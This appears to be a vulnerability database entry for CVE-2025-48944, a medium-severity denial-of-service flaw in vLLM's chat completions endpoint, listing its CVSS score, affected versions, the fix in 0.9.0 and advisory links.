CVE-2025-48944

MEDIUM

6.5

Description

vLLM is an inference and serving engine for large language models (LLMs). In version 0.8.0 up to but excluding 0.9.0, the vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. Version 0.9.0 fixes the issue.

Details CVE

Score CVSS v3.16.5

SeveriteMEDIUM

Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vecteur d'attaqueNETWORK

ComplexiteLOW

Privileges requisLOW

Interaction utilisateurNONE

Publie5/30/2025

Derniere modification7/1/2025

Sourcenvd

Observations honeypot0

Produits affectes

vllm:vllm

Faiblesses (CWE)

CWE-20

References

https://github.com/vllm-project/vllm/pull/17623(security-advisories@github.com)

https://github.com/vllm-project/vllm/security/advisories/GHSA-vrq3-r879-7m65(security-advisories@github.com)

Correlations IOC

Aucune correlation enregistree

This product uses data from the NVD API but is not endorsed or certified by the NVD.